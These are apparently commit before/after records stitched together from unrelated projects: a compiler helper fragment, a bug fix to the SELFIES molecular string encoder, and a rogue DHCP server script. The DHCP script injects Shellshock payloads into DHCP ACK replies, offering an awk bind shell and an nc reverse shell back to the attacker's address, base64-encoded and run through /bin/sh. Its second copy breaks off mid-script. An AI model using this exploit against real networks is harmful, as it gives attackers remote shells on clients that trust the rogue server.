    def compile(self, cc, source, object, includes):
        cmd = copy(cc)
        cmd.extend(self.get_compile_options(self.get_symbols(), includes))
        cmd.extend(["-o", object, source])
        cmd = self.hook.get_cmdline_compiler(cmd)
        return [cmd]
<|endoftext|>


<commit_before>from selfies.exceptions import EncoderError, SMILESParserError
from selfies.grammar_rules import get_selfies_from_index
from selfies.utils.smiles_utils import (
    atom_to_smiles,
    bond_to_smiles,
    smiles_to_mol
)

from selfies.mol_graph import AttributionMap

def encoder(smiles: str, strict: bool = True, attribute: bool = False) -> str:
    """Translates a SMILES string into its corresponding SELFIES string.

    This translation is deterministic and does not depend on the
    current semantic constraints. Additionally, it preserves the atom order
    of the input SMILES string; thus, one could generate randomized SELFIES
    strings by generating randomized SMILES strings, and then translating them.

    By nature of SELFIES, it is impossible to represent molecules that
    violate the current semantic constraints as SELFIES strings.
    Thus, we provide the ``strict`` flag to guard against such cases. If
    ``strict=True``, then this function will raise a
    :class:`selfies.EncoderError` if the input SMILES string represents
    a molecule that violates the semantic constraints. If
    ``strict=False``, then this function will not raise any error; however,
    calling :func:`selfies.decoder` on a SELFIES string generated this
    way will *not* be guaranteed to recover a SMILES string representing
    the original molecule.

    :param smiles: the SMILES string to be translated. It is recommended to
        use RDKit to check that the strings passed into this function
        are valid SMILES strings.
    :param strict: if ``True``, this function will check that the
        input SMILES string obeys the semantic constraints.
        Defaults to ``True``.
    :param attribute: if an attribution should be returned
    :return: a SELFIES string translated from the input SMILES string if
             attribute is ``False``, otherwise a tuple is returned of
             SELFIES string and attribution list.
    :raises EncoderError:  if the input SMILES string is invalid,
        cannot be kekulized, or violates the semantic constraints with
        ``strict=True``.

    :Example:

    >>> import selfies as sf
    >>> sf.encoder("C=CF")
    '[C][=C][F]'

    .. note:: This function does not currently support SMILES with:

        *   The wildcard symbol ``*``.
        *   The quadruple bond symbol ``$``.
        *   Chirality specifications other than ``@`` and ``@@``.
        *   Ring bonds across a dot symbol (e.g. ``c1cc([O-].[Na+])ccc1``) or
            ring bonds between atoms that are over 4000 atoms apart.

        Although SELFIES does not have aromatic symbols, this function
        *does* support aromatic SMILES strings by internally kekulizing them
        before translation.
    """

    try:
        mol = smiles_to_mol(smiles, attributable=attribute)
    except SMILESParserError as err:
        err_msg = "failed to parse input\n\tSMILES: {}".format(smiles)
        raise EncoderError(err_msg) from err

    if not mol.kekulize():
        err_msg = "kekulization failed\n\tSMILES: {}".format(smiles)
        raise EncoderError(err_msg)

    if strict:
        _check_bond_constraints(mol, smiles)

    # invert chirality of atoms where necessary,
    # such that they are restored when the SELFIES is decoded
    for atom in mol.get_atoms():
        if ((atom.chirality is not None)
                and mol.has_out_ring_bond(atom.index)
                and _should_invert_chirality(mol, atom)):
            atom.invert_chirality()

    fragments = []
    attribution_maps = []
    attribution_index = 0
    for root in mol.get_roots():
        derived = list(_fragment_to_selfies(
            mol, None, root, attribution_maps, attribution_index))
        attribution_index += len(derived)
        fragments.append("".join(derived))
    # trim attribution map of empty tokens
    attribution_maps = [a for a in attribution_maps if a.token]
    result = ".".join(fragments), attribution_maps
    return result if attribute else result[0]

def _check_bond_constraints(mol, smiles):
    errors = []

    for atom in mol.get_atoms():
        bond_cap = atom.bonding_capacity
        bond_count = mol.get_bond_count(atom.index)
        if bond_count > bond_cap:
            errors.append((atom_to_smiles(atom), bond_count, bond_cap))

    if errors:
        err_msg = "input violates the currently-set semantic constraints\n" \
                  "\tSMILES: {}\n" \
                  "\tErrors:\n".format(smiles)
        for e in errors:
            err_msg += "\t[{:} with {} bond(s) - " \
                       "a max. of {} bond(s) was specified]\n".format(*e)
        raise EncoderError(err_msg)

def _should_invert_chirality(mol, atom):
    out_bonds = mol.get_out_dirbonds(atom.index)

    # 1. rings whose right number are bonded to this atom (e.g. ...1...X1)
    # 2. rings whose left number are bonded to this atom (e.g. X1...1...)
    # 3. branches and other (e.g. X(...)...)
    partition = [[], [], []]
    for i, bond in enumerate(out_bonds):
        if not bond.ring_bond:
            partition[2].append(i)
        elif bond.src < bond.dst:
            partition[1].append(i)
        else:
            partition[0].append(i)
    partition[1].sort(key=lambda x: out_bonds[x].dst)

    # construct permutation
    perm = partition[0] + partition[1] + partition[2]
    count = 0
    for i in range(len(perm)):
        for j in range(i + 1, len(perm)):
            if perm[i] > perm[j]:
                count += 1
    return count % 2 != 0  # if odd permutation, should invert chirality

def _fragment_to_selfies(mol, bond_into_root, root,
                         attribution_maps, attribution_index=0):
    derived = []

    bond_into_curr, curr = bond_into_root, root
    while True:
        curr_atom = mol.get_atom(curr)
        token = _atom_to_selfies(bond_into_curr, curr_atom)
        derived.append(token)

        attribution_maps.append(AttributionMap(
            len(derived) - 1 + attribution_index,
            token, mol.get_attribution(curr_atom)))

        out_bonds = mol.get_out_dirbonds(curr)
        for i, bond in enumerate(out_bonds):

            if bond.ring_bond:
                if bond.src < bond.dst:
                    continue

                rev_bond = mol.get_dirbond(src=bond.dst, dst=bond.src)
                ring_len = bond.src - bond.dst
                Q_as_symbols = get_selfies_from_index(ring_len - 1)
                ring_symbol = "[{}Ring{}]".format(
                    _ring_bonds_to_selfies(rev_bond, bond),
                    len(Q_as_symbols)
                )

                derived.append(ring_symbol)
                attribution_maps.append(AttributionMap(
                    len(derived) - 1 + attribution_index,
                    ring_symbol, mol.get_attribution(bond)))
                for symbol in Q_as_symbols:
                    derived.append(symbol)
                    attribution_maps.append(AttributionMap(
                        len(derived) - 1 + attribution_index,
                        symbol, mol.get_attribution(bond)))

            elif i == len(out_bonds) - 1:
                bond_into_curr, curr = bond, bond.dst

            else:
                # start, end are so we can go back and
                # correct offset from branch symbol in
                # branch tokens
                start = len(attribution_maps)
                branch = _fragment_to_selfies(
                    mol, bond, bond.dst, attribution_maps, len(derived))
                Q_as_symbols = get_selfies_from_index(len(branch) - 1)
                branch_symbol = "[{}Branch{}]".format(
                    _bond_to_selfies(bond, show_stereo=False),
                    len(Q_as_symbols)
                )
                end = len(attribution_maps)
                for symbol in Q_as_symbols:
                    derived.append(symbol)
                    attribution_maps.append(AttributionMap(
                        len(derived) - 1 + attribution_index,
                        symbol, mol.get_attribution(bond)))

                # account for branch symbol because it is inserted after
                for i in range(start, end):
                    attribution_maps[i].index += len(Q_as_symbols) + 1
                derived.append(branch_symbol)
                attribution_maps.append(AttributionMap(
                    len(derived) - 1 + attribution_index,
                    branch_symbol, mol.get_attribution(bond)))

                derived.extend(branch)

        # end of chain
        if (not out_bonds) or out_bonds[-1].ring_bond:
            break
    return derived

def _bond_to_selfies(bond, show_stereo=True):
    if not show_stereo and (bond.order == 1):
        return ""
    return bond_to_smiles(bond)

def _ring_bonds_to_selfies(lbond, rbond):
    assert lbond.order == rbond.order

    if (lbond.order != 1) or all(b.stereo is None for b in (lbond, rbond)):
        return _bond_to_selfies(lbond, show_stereo=False)
    else:
        bond_char = "-" if (lbond.stereo is None) else lbond.stereo
        bond_char += "-" if (rbond.stereo is None) else rbond.stereo
        return bond_char

def _atom_to_selfies(bond, atom):
    assert not atom.is_aromatic
    bond_char = "" if (bond is None) else _bond_to_selfies(bond)
    return "[{}{}]".format(bond_char, atom_to_smiles(atom, brackets=False))
<commit_msg>Fixed order bug<commit_after>from selfies.exceptions import EncoderError, SMILESParserError
from selfies.grammar_rules import get_selfies_from_index
from selfies.utils.smiles_utils import (
    atom_to_smiles,
    bond_to_smiles,
    smiles_to_mol
)

from selfies.mol_graph import AttributionMap

def encoder(smiles: str, strict: bool = True, attribute: bool = False) -> str:
    """Translates a SMILES string into its corresponding SELFIES string.

    This translation is deterministic and does not depend on the
    current semantic constraints. Additionally, it preserves the atom order
    of the input SMILES string; thus, one could generate randomized SELFIES
    strings by generating randomized SMILES strings, and then translating them.

    By nature of SELFIES, it is impossible to represent molecules that
    violate the current semantic constraints as SELFIES strings.
    Thus, we provide the ``strict`` flag to guard against such cases. If
    ``strict=True``, then this function will raise a
    :class:`selfies.EncoderError` if the input SMILES string represents
    a molecule that violates the semantic constraints. If
    ``strict=False``, then this function will not raise any error; however,
    calling :func:`selfies.decoder` on a SELFIES string generated this
    way will *not* be guaranteed to recover a SMILES string representing
    the original molecule.

    :param smiles: the SMILES string to be translated. It is recommended to
        use RDKit to check that the strings passed into this function
        are valid SMILES strings.
    :param strict: if ``True``, this function will check that the
        input SMILES string obeys the semantic constraints.
        Defaults to ``True``.
    :param attribute: if an attribution should be returned
    :return: a SELFIES string translated from the input SMILES string if
             attribute is ``False``, otherwise a tuple is returned of
             SELFIES string and attribution list.
    :raises EncoderError:  if the input SMILES string is invalid,
        cannot be kekulized, or violates the semantic constraints with
        ``strict=True``.

    :Example:

    >>> import selfies as sf
    >>> sf.encoder("C=CF")
    '[C][=C][F]'

    .. note:: This function does not currently support SMILES with:

        *   The wildcard symbol ``*``.
        *   The quadruple bond symbol ``$``.
        *   Chirality specifications other than ``@`` and ``@@``.
        *   Ring bonds across a dot symbol (e.g. ``c1cc([O-].[Na+])ccc1``) or
            ring bonds between atoms that are over 4000 atoms apart.

        Although SELFIES does not have aromatic symbols, this function
        *does* support aromatic SMILES strings by internally kekulizing them
        before translation.
    """

    try:
        mol = smiles_to_mol(smiles, attributable=attribute)
    except SMILESParserError as err:
        err_msg = "failed to parse input\n\tSMILES: {}".format(smiles)
        raise EncoderError(err_msg) from err

    if not mol.kekulize():
        err_msg = "kekulization failed\n\tSMILES: {}".format(smiles)
        raise EncoderError(err_msg)

    if strict:
        _check_bond_constraints(mol, smiles)

    # invert chirality of atoms where necessary,
    # such that they are restored when the SELFIES is decoded
    for atom in mol.get_atoms():
        if ((atom.chirality is not None)
                and mol.has_out_ring_bond(atom.index)
                and _should_invert_chirality(mol, atom)):
            atom.invert_chirality()

    fragments = []
    attribution_maps = []
    attribution_index = 0
    for root in mol.get_roots():
        derived = list(_fragment_to_selfies(
            mol, None, root, attribution_maps, attribution_index))
        attribution_index += len(derived)
        fragments.append("".join(derived))
    # trim attribution map of empty tokens
    attribution_maps = [a for a in attribution_maps if a.token]
    result = ".".join(fragments), attribution_maps
    return result if attribute else result[0]

def _check_bond_constraints(mol, smiles):
    errors = []

    for atom in mol.get_atoms():
        bond_cap = atom.bonding_capacity
        bond_count = mol.get_bond_count(atom.index)
        if bond_count > bond_cap:
            errors.append((atom_to_smiles(atom), bond_count, bond_cap))

    if errors:
        err_msg = "input violates the currently-set semantic constraints\n" \
                  "\tSMILES: {}\n" \
                  "\tErrors:\n".format(smiles)
        for e in errors:
            err_msg += "\t[{:} with {} bond(s) - " \
                       "a max. of {} bond(s) was specified]\n".format(*e)
        raise EncoderError(err_msg)

def _should_invert_chirality(mol, atom):
    out_bonds = mol.get_out_dirbonds(atom.index)

    # 1. rings whose right number are bonded to this atom (e.g. ...1...X1)
    # 2. rings whose left number are bonded to this atom (e.g. X1...1...)
    # 3. branches and other (e.g. X(...)...)
    partition = [[], [], []]
    for i, bond in enumerate(out_bonds):
        if not bond.ring_bond:
            partition[2].append(i)
        elif bond.src < bond.dst:
            partition[1].append(i)
        else:
            partition[0].append(i)
    partition[1].sort(key=lambda x: out_bonds[x].dst)

    # construct permutation
    perm = partition[0] + partition[1] + partition[2]
    count = 0
    for i in range(len(perm)):
        for j in range(i + 1, len(perm)):
            if perm[i] > perm[j]:
                count += 1
    return count % 2 != 0  # if odd permutation, should invert chirality

def _fragment_to_selfies(mol, bond_into_root, root,
                         attribution_maps, attribution_index=0):
    derived = []

    bond_into_curr, curr = bond_into_root, root
    while True:
        curr_atom = mol.get_atom(curr)
        token = _atom_to_selfies(bond_into_curr, curr_atom)
        derived.append(token)

        attribution_maps.append(AttributionMap(
            len(derived) - 1 + attribution_index,
            token, mol.get_attribution(curr_atom)))

        out_bonds = mol.get_out_dirbonds(curr)
        for i, bond in enumerate(out_bonds):

            if bond.ring_bond:
                if bond.src < bond.dst:
                    continue

                rev_bond = mol.get_dirbond(src=bond.dst, dst=bond.src)
                ring_len = bond.src - bond.dst
                Q_as_symbols = get_selfies_from_index(ring_len - 1)
                ring_symbol = "[{}Ring{}]".format(
                    _ring_bonds_to_selfies(rev_bond, bond),
                    len(Q_as_symbols)
                )

                derived.append(ring_symbol)
                attribution_maps.append(AttributionMap(
                    len(derived) - 1 + attribution_index,
                    ring_symbol, mol.get_attribution(bond)))
                for symbol in Q_as_symbols:
                    derived.append(symbol)
                    attribution_maps.append(AttributionMap(
                        len(derived) - 1 + attribution_index,
                        symbol, mol.get_attribution(bond)))

            elif i == len(out_bonds) - 1:
                bond_into_curr, curr = bond, bond.dst

            else:
                # start, end are so we can go back and
                # correct offset from branch symbol in
                # branch tokens
                start = len(attribution_maps)
                branch = _fragment_to_selfies(
                    mol, bond, bond.dst, attribution_maps, len(derived))
                Q_as_symbols = get_selfies_from_index(len(branch) - 1)
                branch_symbol = "[{}Branch{}]".format(
                    _bond_to_selfies(bond, show_stereo=False),
                    len(Q_as_symbols)
                )
                end = len(attribution_maps)

                derived.append(branch_symbol)
                for symbol in Q_as_symbols:
                    derived.append(symbol)
                    attribution_maps.append(AttributionMap(
                        len(derived) - 1 + attribution_index,
                        symbol, mol.get_attribution(bond)))

                # account for branch symbol because it is inserted after
                for j in range(start, end):
                    attribution_maps[j].index += len(Q_as_symbols) + 1
                attribution_maps.append(AttributionMap(
                    len(derived) - 1 + attribution_index,
                    branch_symbol, mol.get_attribution(bond)))

                derived.extend(branch)

        # end of chain
        if (not out_bonds) or out_bonds[-1].ring_bond:
            break
    return derived

def _bond_to_selfies(bond, show_stereo=True):
    if not show_stereo and (bond.order == 1):
        return ""
    return bond_to_smiles(bond)

def _ring_bonds_to_selfies(lbond, rbond):
    assert lbond.order == rbond.order

    if (lbond.order != 1) or all(b.stereo is None for b in (lbond, rbond)):
        return _bond_to_selfies(lbond, show_stereo=False)
    else:
        bond_char = "-" if (lbond.stereo is None) else lbond.stereo
        bond_char += "-" if (rbond.stereo is None) else rbond.stereo
        return bond_char

def _atom_to_selfies(bond, atom):
    assert not atom.is_aromatic
    bond_char = "" if (bond is None) else _bond_to_selfies(bond)
    return "[{}{}]".format(bond_char, atom_to_smiles(atom, brackets=False))
<|endoftext|>


<commit_before>from base import Base
from network import Ethernet_raw, DHCP_raw
from sys import exit
from argparse import ArgumentParser
from ipaddress import IPv4Address
from scapy.all import BOOTP, DHCP, sniff
from socket import socket, AF_PACKET, SOCK_RAW
from base64 import b64encode

Base.check_user()
Base.check_platform()

parser = ArgumentParser(description='DHCP Reply (Offer and Ack) sender')

parser.add_argument('-i', '--interface', help='Set interface name for send reply packets')
parser.add_argument('-f', '--first_offer_ip', type=str, required=True, help='Set first client ip for offering')
parser.add_argument('-l', '--last_offer_ip', type=str, required=True, help='Set last client ip for offering')

parser.add_argument('-c', '--shellshock_command', type=str, help='Set shellshock command in DHCP client')
parser.add_argument('-b', '--bind_shell', action='store_true', help='Use awk bind tcp shell in DHCP client')
parser.add_argument('-p', '--bind_port', type=int, help='Set port for listen bind shell (default=1234)', default=1234)
parser.add_argument('-r', '--reverse_shell', action='store_true', help='Use nc reverse tcp shell in DHCP client')
parser.add_argument('-e', '--reverse_port', type=int, help='Set port for listen bind shell (default=443)', default=443)

parser.add_argument('--dhcp_mac', type=str, help='Set DHCP server mac address, if not set use your mac address')
parser.add_argument('--dhcp_ip', type=str, help='Set DHCP server IP address, if not set use your ip address')
parser.add_argument('--router', type=str, help='Set router IP address, if not set use your ip address')
parser.add_argument('--netmask', type=str, help='Set network mask, if not set use your netmask')
parser.add_argument('--broadcast', type=str, help='Set network broadcast, if not set use your broadcast')
parser.add_argument('--dns', type=str, help='Set DNS server IP address, if not set use your ip address')
parser.add_argument('--lease_time', type=int, help='Set lease time, default=172800', default=172800)

args = parser.parse_args()

eth = Ethernet_raw()
dhcp = DHCP_raw()

current_network_interface = None
target_mac_address = None
offer_ip_address = None
dhcp_server_mac_address = None
dhcp_server_ip_address = None
router_ip_address = None
network_mask = None
network_broadcast = None
dns_server_ip_address = None
number_of_dhcp_request = 0
shellshock_url = None

if args.interface is None:
    current_network_interface = Base.netiface_selection()
else:
    current_network_interface = args.interface

your_mac_address = Base.get_netiface_mac_address(current_network_interface)
if your_mac_address is None:
    print "Network interface: " + current_network_interface + " do not have MAC address!"
    exit(1)

your_ip_address = Base.get_netiface_ip_address(current_network_interface)
if your_ip_address is None:
    print "Network interface: " + current_network_interface + " do not have IP address!"
    exit(1)

your_netmask = Base.get_netiface_netmask(current_network_interface)
if your_netmask is None:
    print "Network interface: " + current_network_interface + " do not have network mask!"
    exit(1)

your_broadcast = Base.get_netiface_broadcast(current_network_interface)
if your_broadcast is None:
    print "Network interface: " + current_network_interface + " do not have broadcast!"
    exit(1)

if args.dhcp_mac is None:
    dhcp_server_mac_address = your_mac_address
else:
    dhcp_server_mac_address = args.dhcp_mac

if args.dhcp_ip is None:
    dhcp_server_ip_address = your_ip_address
else:
    dhcp_server_ip_address = args.dhcp_ip

if args.router is None:
    router_ip_address = your_ip_address
else:
    router_ip_address = args.router

if args.netmask is None:
    network_mask = your_netmask
else:
    network_mask = args.netmask

if args.broadcast is None:
    network_broadcast = your_broadcast
else:
    network_broadcast = args.broadcast

if args.dns is None:
    dns_server_ip_address = your_ip_address
else:
    dns_server_ip_address = args.dns

print "\r\nNetwork interface: " + current_network_interface
print "First offer IP: " + args.first_offer_ip
print "Last offer IP:" + args.last_offer_ip
print "DHCP server mac address: " + dhcp_server_mac_address
print "DHCP server ip address: " + dhcp_server_ip_address
print "Router IP address: " + router_ip_address
print "Network mask: " + network_mask
print "DNS server IP address: " + dns_server_ip_address + "\r\n"

def make_dhcp_offer_packet(transaction_id):
    return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                     destination_mac=target_mac_address,
                                     source_ip=dhcp_server_ip_address,
                                     destination_ip="255.255.255.255",
                                     transaction_id=transaction_id,
                                     your_ip=offer_ip_address,
                                     client_mac=target_mac_address,
                                     dhcp_server_id=dhcp_server_ip_address,
                                     lease_time=args.lease_time,
                                     netmask=network_mask,
                                     router=router_ip_address,
                                     dns=dns_server_ip_address,
                                     dhcp_operation=2,
                                     url=None)

def make_dhcp_ack_packet(transaction_id, requested_ip):
    return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                     destination_mac=target_mac_address,
                                     source_ip=dhcp_server_ip_address,
                                     destination_ip=requested_ip,
                                     transaction_id=transaction_id,
                                     your_ip=requested_ip,
                                     client_mac=target_mac_address,
                                     dhcp_server_id=dhcp_server_ip_address,
                                     lease_time=args.lease_time,
                                     netmask=network_mask,
                                     router=router_ip_address,
                                     dns=dns_server_ip_address,
                                     dhcp_operation=5,
                                     url=shellshock_url)

def make_dhcp_nak_packet(transaction_id, requested_ip):
    return dhcp.make_nak_packet(source_mac=dhcp_server_mac_address,
                                destination_mac=target_mac_address,
                                source_ip=dhcp_server_ip_address,
                                destination_ip=requested_ip,
                                transaction_id=transaction_id,
                                your_ip=offer_ip_address,
                                client_mac=target_mac_address,
                                dhcp_server_id=dhcp_server_ip_address)

def dhcp_reply(request):
    if request.haslayer(DHCP):
        global offer_ip_address
        global target_mac_address
        global number_of_dhcp_request
        global shellshock_url

        offer_ip_address = args.first_offer_ip

        transaction_id = request[BOOTP].xid
        ciaddr = request[BOOTP].ciaddr
        target_mac_address = ":".join("{:02x}".format(ord(c)) for c in request[BOOTP].chaddr[0:6])

        SOCK = socket(AF_PACKET, SOCK_RAW)
        SOCK.bind((current_network_interface, 0))

        if request[DHCP].options[0][1] == 1:
            next_offer_ip_address = IPv4Address(unicode(args.first_offer_ip)) + number_of_dhcp_request
            if IPv4Address(next_offer_ip_address) < IPv4Address(unicode(args.last_offer_ip)):
                number_of_dhcp_request += 1
                offer_ip_address = str(next_offer_ip_address)
            else:
                number_of_dhcp_request = 0
                offer_ip_address = args.first_offer_ip

            print "DHCP DISCOVER from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                  " || offer ip: " + offer_ip_address
            offer_packet = make_dhcp_offer_packet(transaction_id)
            SOCK.send(offer_packet)
            print "[INFO] Send offer response!"

        if request[DHCP].options[0][1] == 3 or request[DHCP].options[0][1] == 8:
            requested_ip = offer_ip_address
            for option in request[DHCP].options:
                if option[0] == "requested_addr":
                    requested_ip = str(option[1])

            if request[DHCP].options[0][1] == 8:
                requested_ip = ciaddr

            if IPv4Address(unicode(requested_ip)) < IPv4Address(unicode(args.first_offer_ip)) \
                    or IPv4Address(unicode(requested_ip)) > IPv4Address(unicode(args.last_offer_ip)):
                nak_packet = make_dhcp_nak_packet(transaction_id, requested_ip)
                SOCK.send(nak_packet)
                print "[INFO] Send nak response!"

            else:
                net_settings = "/bin/ip addr add " + requested_ip + \
                               "/" + network_mask + " dev eth0;"

                if args.shellshock_command is not None:
                    b64command = b64encode(net_settings + args.shellshock_command)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64command + ")"
                    if len(shellshock_url) > 255:
                        print "[ERROR] Len of command is very big!"
                        shellshock_url = "A"

                if args.bind_shell:
                    bind_shell = "awk 'BEGIN{s=\"/inet/tcp/" + str(args.bind_port) + \
                                 "/0/0\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}' &"
                    b64shell = b64encode(net_settings + bind_shell)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64shell + ")"

                if args.reverse_shell:
                    reverse_shell = "rm /tmp/f 2>/dev/null;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
                                    your_ip_address + " " + str(args.reverse_port) + " >/tmp/f &"
                    b64shell = b64encode(net_settings + reverse_shell)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64shell + ")"

                if request[DHCP].options[0][1] == 3:
                    print "DHCP REQUEST from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                          " || requested ip: " + requested_ip
                if request[DHCP].options[0][1] == 8:
                    print "DHCP INFORM from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                          " || requested ip: " + requested_ip

                ack_packet = make_dhcp_ack_packet(transaction_id, requested_ip)
                SOCK.send(ack_packet)
                print "[INFO] Send ack response!"

        SOCK.close()

if __name__ == "__main__":
    print "Waiting for a DHCP DISCOVER, DHCP REQUEST or DHCP INFORM ..."
    sniff(lfilter=lambda d: d.src != eth.get_random_mac() and
                            d.src != Base.get_netiface_mac_address(current_network_interface),
          filter="udp and src port 68 and dst port 67 and dst host 255.255.255.255",
          prn=dhcp_reply, iface=current_network_interface)
<commit_msg>Fix script output<commit_after>from base import Base
from network import Ethernet_raw, DHCP_raw
from sys import exit
from argparse import ArgumentParser
from ipaddress import IPv4Address
from scapy.all import BOOTP, DHCP, sniff
from socket import socket, AF_PACKET, SOCK_RAW
from base64 import b64encode

Base.check_user()
Base.check_platform()

parser = ArgumentParser(description='DHCP Reply (Offer and Ack) sender')

parser.add_argument('-i', '--interface', help='Set interface name for send reply packets')
parser.add_argument('-f', '--first_offer_ip', type=str, required=True, help='Set first client ip for offering')
parser.add_argument('-l', '--last_offer_ip', type=str, required=True, help='Set last client ip for offering')

parser.add_argument('-c', '--shellshock_command', type=str, help='Set shellshock command in DHCP client')
parser.add_argument('-b', '--bind_shell', action='store_true', help='Use awk bind tcp shell in DHCP client')
parser.add_argument('-p', '--bind_port', type=int, help='Set port for listen bind shell (default=1234)', default=1234)
parser.add_argument('-r', '--reverse_shell', action='store_true', help='Use nc reverse tcp shell in DHCP client')
parser.add_argument('-e', '--reverse_port', type=int, help='Set port for listen bind shell (default=443)', default=443)

parser.add_argument('--dhcp_mac', type=str, help='Set DHCP server mac address, if not set use your mac address')
parser.add_argument('--dhcp_ip', type=str, help='Set DHCP server IP address, if not set use your ip address')
parser.add_argument('--router', type=str, help='Set router IP address, if not set use your ip address')
parser.add_argument('--netmask', type=str, help='Set network mask, if not set use your netmask')
parser.add_argument('--broadcast', type=str, help='Set network broadcast, if not set use your broadcast')
parser.add_argument('--dns', type=str, help='Set DNS server IP address, if not set use your ip address')
parser.add_argument('--lease_time', type=int, help='Set lease time, default=172800', default=172800)

args = parser.parse_args()

eth = Ethernet_raw()
dhcp = DHCP_raw()

current_network_interface = None
target_mac_address = None
offer_ip_address = None
dhcp_server_mac_address = None
dhcp_server_ip_address = None
router_ip_address = None
network_mask = None
network_broadcast = None
dns_server_ip_address = None
number_of_dhcp_request = 0
shellshock_url = None

if args.interface is None:
    current_network_interface = Base.netiface_selection()
else:
    current_network_interface = args.interface

your_mac_address = Base.get_netiface_mac_address(current_network_interface)
if your_mac_address is None:
    print "Network interface: " + current_network_interface + " do not have MAC address!"
    exit(1)

your_ip_address = Base.get_netiface_ip_address(current_network_interface)
if your_ip_address is None:
    print "Network interface: " + current_network_interface + " do not have IP address!"
    exit(1)

your_netmask = Base.get_netiface_netmask(current_network_interface)
if your_netmask is None:
    print "Network interface: " + current_network_interface + " do not have network mask!"
    exit(1)

your_broadcast = Base.get_netiface_broadcast(current_network_interface)
if your_broadcast is None:
    print "Network interface: " + current_network_interface + " do not have broadcast!"
    exit(1)

if args.dhcp_mac is None:
    dhcp_server_mac_address = your_mac_address
else:
    dhcp_server_mac_address = args.dhcp_mac

if args.dhcp_ip is None:
    dhcp_server_ip_address = your_ip_address
else:
    dhcp_server_ip_address = args.dhcp_ip

if args.router is None:
    router_ip_address = your_ip_address
else:
    router_ip_address = args.router

if args.netmask is None:
    network_mask = your_netmask
else:
    network_mask = args.netmask

if args.broadcast is None:
    network_broadcast = your_broadcast
else:
    network_broadcast = args.broadcast

if args.dns is None:
    dns_server_ip_address = your_ip_address
else:
    dns_server_ip_address = args.dns

print "\r\nNetwork interface: " + current_network_interface
print "First offer IP: " + args.first_offer_ip
print "Last offer IP:" + args.last_offer_ip
print "DHCP server mac address: " + dhcp_server_mac_address
print "DHCP server ip address: " + dhcp_server_ip_address
print "Router IP address: " + router_ip_address
print "Network mask: " + network_mask
print "DNS server IP address: " + dns_server_ip_address + "\r\n"

def make_dhcp_offer_packet(transaction_id):
    return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                     destination_mac=target_mac_address,
                                     source_ip=dhcp_server_ip_address,
                                     destination_ip="255.255.255.255",
                                     transaction_id=transaction_id,
                                     your_ip=offer_ip_address,
                                     client_mac=target_mac_address,
                                     dhcp_server_id=dhcp_server_ip_address,
                                     lease_time=args.lease_time,
                                     netmask=network_mask,
                                     router=router_ip_address,
                                     dns=dns_server_ip_address,
                                     dhcp_operation=2,
                                     url=None)

def make_dhcp_ack_packet(transaction_id, requested_ip):
    return dhcp.make_response_packet(source_mac=dhcp_server_mac_address,
                                     destination_mac=target_mac_address,
                                     source_ip=dhcp_server_ip_address,
                                     destination_ip=requested_ip,
                                     transaction_id=transaction_id,
                                     your_ip=requested_ip,
                                     client_mac=target_mac_address,
                                     dhcp_server_id=dhcp_server_ip_address,
                                     lease_time=args.lease_time,
                                     netmask=network_mask,
                                     router=router_ip_address,
                                     dns=dns_server_ip_address,
                                     dhcp_operation=5,
                                     url=shellshock_url)

def make_dhcp_nak_packet(transaction_id, requested_ip):
    return dhcp.make_nak_packet(source_mac=dhcp_server_mac_address,
                                destination_mac=target_mac_address,
                                source_ip=dhcp_server_ip_address,
                                destination_ip=requested_ip,
                                transaction_id=transaction_id,
                                your_ip=offer_ip_address,
                                client_mac=target_mac_address,
                                dhcp_server_id=dhcp_server_ip_address)

def dhcp_reply(request):
    if request.haslayer(DHCP):
        global offer_ip_address
        global target_mac_address
        global number_of_dhcp_request
        global shellshock_url

        offer_ip_address = args.first_offer_ip

        transaction_id = request[BOOTP].xid
        ciaddr = request[BOOTP].ciaddr
        target_mac_address = ":".join("{:02x}".format(ord(c)) for c in request[BOOTP].chaddr[0:6])

        SOCK = socket(AF_PACKET, SOCK_RAW)
        SOCK.bind((current_network_interface, 0))

        if request[DHCP].options[0][1] == 1:
            next_offer_ip_address = IPv4Address(unicode(args.first_offer_ip)) + number_of_dhcp_request
            if IPv4Address(next_offer_ip_address) < IPv4Address(unicode(args.last_offer_ip)):
                number_of_dhcp_request += 1
                offer_ip_address = str(next_offer_ip_address)
            else:
                number_of_dhcp_request = 0
                offer_ip_address = args.first_offer_ip

            print "DHCP DISCOVER from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                  " || offer ip: " + offer_ip_address
            offer_packet = make_dhcp_offer_packet(transaction_id)
            SOCK.send(offer_packet)
            print "[INFO] Send offer response!"

        if request[DHCP].options[0][1] == 3 or request[DHCP].options[0][1] == 8:
            requested_ip = offer_ip_address
            for option in request[DHCP].options:
                if option[0] == "requested_addr":
                    requested_ip = str(option[1])

            if request[DHCP].options[0][1] == 8:
                requested_ip = ciaddr

            if request[DHCP].options[0][1] == 3:
                print "DHCP REQUEST from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                      " || requested ip: " + requested_ip
            if request[DHCP].options[0][1] == 8:
                print "DHCP INFORM from: " + target_mac_address + " || transaction id: " + hex(transaction_id) + \
                      " || requested ip: " + requested_ip

            if IPv4Address(unicode(requested_ip)) < IPv4Address(unicode(args.first_offer_ip)) \
                    or IPv4Address(unicode(requested_ip)) > IPv4Address(unicode(args.last_offer_ip)):
                nak_packet = make_dhcp_nak_packet(transaction_id, requested_ip)
                SOCK.send(nak_packet)
                print "[INFO] Send nak response!"

            else:
                net_settings = "/bin/ip addr add " + requested_ip + \
                               "/" + network_mask + " dev eth0;"

                if args.shellshock_command is not None:
                    b64command = b64encode(net_settings + args.shellshock_command)
                    shellshock_url = "() { :" + "; }; /bin/sh <(/usr/bin/base64 -d <<< " + b64command + ")"
                    if len(shellshock_url) > 255:
                        print "[ERROR] Len of command is very big!"
                        shellshock_url = "A"

                if args.bind_shell:
